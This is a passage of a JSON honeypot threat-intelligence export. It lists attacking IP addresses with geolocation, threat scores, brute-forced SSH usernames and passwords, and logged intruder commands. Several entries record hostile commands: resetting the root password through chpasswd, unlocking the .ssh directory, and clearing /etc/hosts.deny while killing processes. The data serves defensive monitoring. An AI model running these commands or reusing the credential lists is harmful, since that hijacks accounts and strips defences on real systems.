        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Songpa-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 249,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:19:48.619000+00:00",
        "last_seen_30d": "2026-05-14T14:10:57.175000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 61
      }
    },
    "103.210.21.178": {
      "attack_count": 163,
      "first_seen": "2026-05-25T06:35:20.580Z",
      "last_seen": "2026-05-25T07:41:50.639Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "artem",
        "cloud",
        "curl",
        "dokku",
        "fff",
        "kt",
        "oracle",
        "oscar",
        "taibabi",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!Q@W#E1q2w3e",
        "1111",
        "123",
        "123qwe!@#QWE",
        "3245gs5662d34",
        "345gs5662d34",
        "@WSXzaq1",
        "Password123",
        "Wangsu@2017",
        "dokku",
        "fff",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "kt@123",
        "oracle",
        "oracle01",
        "oscar",
        "pa55",
        "taibabi",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:rUTJXrQZSL31\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T06:35:20.580000+00:00",
        "last_seen_30d": "2026-05-25T07:42:53.668000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 52
      }
    },
    "20.124.84.235": {
      "attack_count": 159,
      "first_seen": "2026-05-24T19:08:58.350Z",
      "last_seen": "2026-05-24T20:22:17.511Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "iksi",
        "intel",
        "zk",
        "cloud",
        "dev",
        "httpd",
        "hugo",
        "ll",
        "nokia",
        "postgres",
        "steam",
        "sumit",
        "system",
        "user",
        "user2",
        "vision"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!QAZxsw2#EDCvfr4",
        "123123",
        "123456",
        "1234qwer",
        "123pls123A!",
        "Dev@2024",
        "Secure@123",
        "Wangsu@2017",
        "aA111222",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "nokia",
        "qwerty",
        "sumit@123",
        "system",
        "test",
        "user@12345"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T19:08:58.350000+00:00",
        "last_seen_30d": "2026-05-24T20:23:21.131000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 159,
        "Suricata": 65
      }
    },
    "119.99.251.235": {
      "attack_count": 146,
      "first_seen": "2026-05-19T18:17:26.974Z",
      "last_seen": "2026-05-20T00:54:37.597Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:17:26.974000+00:00",
        "last_seen_30d": "2026-05-20T00:55:45.093000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 146,
        "Suricata": 73
      }
    },
    "64.188.77.26": {
      "attack_count": 144,
      "first_seen": "2026-05-22T16:56:34.160Z",
      "last_seen": "2026-05-22T17:47:08.026Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "prod",
        "345gs5662d34",
        "dev",
        "donald",
        "ilya",
        "local",
        "oracle",
        "stas",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "123321",
        "13241324",
        "1qa@WS3ed$RF",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd.123",
        "dev",
        "donald",
        "ilya",
        "local123",
        "oracle",
        "prod",
        "root123.",
        "rootpassword",
        "stas",
        "temppass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"prod\\nOupICbEudYVR\\nOupICbEudYVR\\n\"|passwd",
        "echo -e \"prod\\nOupICbEudYVR\\nOupICbEudYVR\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 209693,
      "as_org": "Oc Networks Limited",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:56:34.160000+00:00",
        "last_seen_30d": "2026-05-22T17:48:15.059000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "138.185.89.57": {
      "attack_count": 132,
      "first_seen": "2026-05-22T09:58:09.576Z",
      "last_seen": "2026-05-22T20:25:22.145Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Florian\u00f3polis",
      "asn": 270877,
      "as_org": "INTERNETUP TELECOMUNICACOES LTDA",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:58:09.576000+00:00",
        "last_seen_30d": "2026-05-22T20:26:28.328000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 66
      }
    },
    "180.138.194.82": {
      "attack_count": 81,
      "first_seen": "2026-05-30T21:03:05.484Z",
      "last_seen": "2026-05-30T21:23:24.046Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin#2024",
        "Ubuntu2023"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:aJopa6Bl0Lx7\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137693,
      "as_org": "CHINATELECOM Guangxi Nanning IDC networkdescr: NanningGuangxi Province, P.R.China.",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T21:03:05.484000+00:00",
        "last_seen_30d": "2026-05-30T21:24:24.772000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 81,
        "Suricata": 13
      }
    },
    "27.18.190.102": {
      "attack_count": 74,
      "first_seen": "2026-05-18T22:31:43.403Z",
      "last_seen": "2026-05-22T09:51:35.118Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:31:43.403000+00:00",
        "last_seen_30d": "2026-05-22T09:52:39.636000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 39
      }
    },
    "23.239.119.194": {
      "attack_count": 72,
      "first_seen": "2026-05-04T19:44:29.304Z",
      "last_seen": "2026-05-18T07:43:52.184Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 53850,
      "as_org": "GorillaServers, Inc.",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:44:29.304000+00:00",
        "last_seen_30d": "2026-05-18T07:44:58.667000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "213.230.87.110": {
      "attack_count": 64,
      "first_seen": "2026-05-14T10:05:41.275Z",
      "last_seen": "2026-05-14T10:27:52.731Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:05:41.275000+00:00",
        "last_seen_30d": "2026-05-14T10:39:45.975000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 38
      }
    },
    "103.100.7.17": {
      "attack_count": 50,
      "first_seen": "2026-05-19T01:26:25.974Z",
      "last_seen": "2026-05-19T01:31:50.314Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 132116,
      "as_org": "Anonet Network Private Limited",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:26:25.974000+00:00",
        "last_seen_30d": "2026-05-19T01:32:57.759000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "59.103.86.150": {
      "attack_count": 50,
      "first_seen": "2026-05-21T15:01:47.676Z",
      "last_seen": "2026-05-21T15:07:12.466Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:01:47.676000+00:00",
        "last_seen_30d": "2026-05-21T15:08:16.375000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.19.185": {
      "attack_count": 50,
      "first_seen": "2026-05-31T22:55:05.865Z",
      "last_seen": "2026-05-31T23:00:30.609Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T22:55:05.865000+00:00",
        "last_seen_30d": "2026-05-31T23:01:38.751000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "192.250.235.126": {
      "attack_count": 48,
      "first_seen": "2026-05-13T02:43:45.040Z",
      "last_seen": "2026-05-30T17:08:27.003Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 204800,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T02:43:45.040000+00:00",
        "last_seen_30d": "2026-05-30T17:09:37.001000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "74.48.167.39": {
      "attack_count": 36,
      "first_seen": "2026-05-10T08:21:24.161Z",
      "last_seen": "2026-05-20T11:14:49.908Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:21:24.161000+00:00",
        "last_seen_30d": "2026-05-20T11:15:56.523000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 20
      }
    },
    "37.187.109.150": {
      "attack_count": 24,
      "first_seen": "2026-05-14T18:34:13.513Z",
      "last_seen": "2026-05-27T09:25:38.556Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T18:34:13.513000+00:00",
        "last_seen_30d": "2026-05-27T09:26:45.285000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "105.96.13.6": {
      "attack_count": 23,
      "first_seen": "2026-05-26T19:53:19.672Z",
      "last_seen": "2026-05-26T19:53:30.437Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "systemd",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Voidsetdownload.so"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Algiers",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T19:53:19.672000+00:00",
        "last_seen_30d": "2026-05-26T19:54:40.213000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "95.9.69.97": {
      "attack_count": 22,
      "first_seen": "2026-05-04T09:50:42.966Z",
      "last_seen": "2026-05-04T09:50:54.437Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Sel\u00e7uklu",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T09:50:42.966000+00:00",
        "last_seen_30d": "2026-05-04T09:52:03.862000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "36.139.173.163": {
      "attack_count": 17,
      "first_seen": "2026-05-04T06:45:56.999Z",
      "last_seen": "2026-05-04T06:48:02.202Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 17.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 21,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T06:45:56.999000+00:00",
        "last_seen_30d": "2026-05-24T02:29:31.894000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 13,
        "Honeytrap": 4
      }
    },
    "103.191.171.157": {
      "attack_count": 16,
      "first_seen": "2026-05-24T03:31:04.273Z",
      "last_seen": "2026-05-24T03:39:08.846Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 149933,
      "as_org": "PT Sahabat Manjur Grup",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:31:04.273000+00:00",
        "last_seen_30d": "2026-05-24T03:47:17.805000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "82.194.29.199": {
      "attack_count": 16,
      "first_seen": "2026-05-11T13:37:19.855Z",
      "last_seen": "2026-05-11T13:43:25.617Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 60258,
      "as_org": "Enginet LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T13:37:19.855000+00:00",
        "last_seen_30d": "2026-05-11T13:46:54.270000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "95.84.47.155": {
      "attack_count": 11,
      "first_seen": "2026-05-20T08:16:18.138Z",
      "last_seen": "2026-05-20T08:19:22.898Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Saratov",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T08:16:18.138000+00:00",
        "last_seen_30d": "2026-05-20T08:20:25.061000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
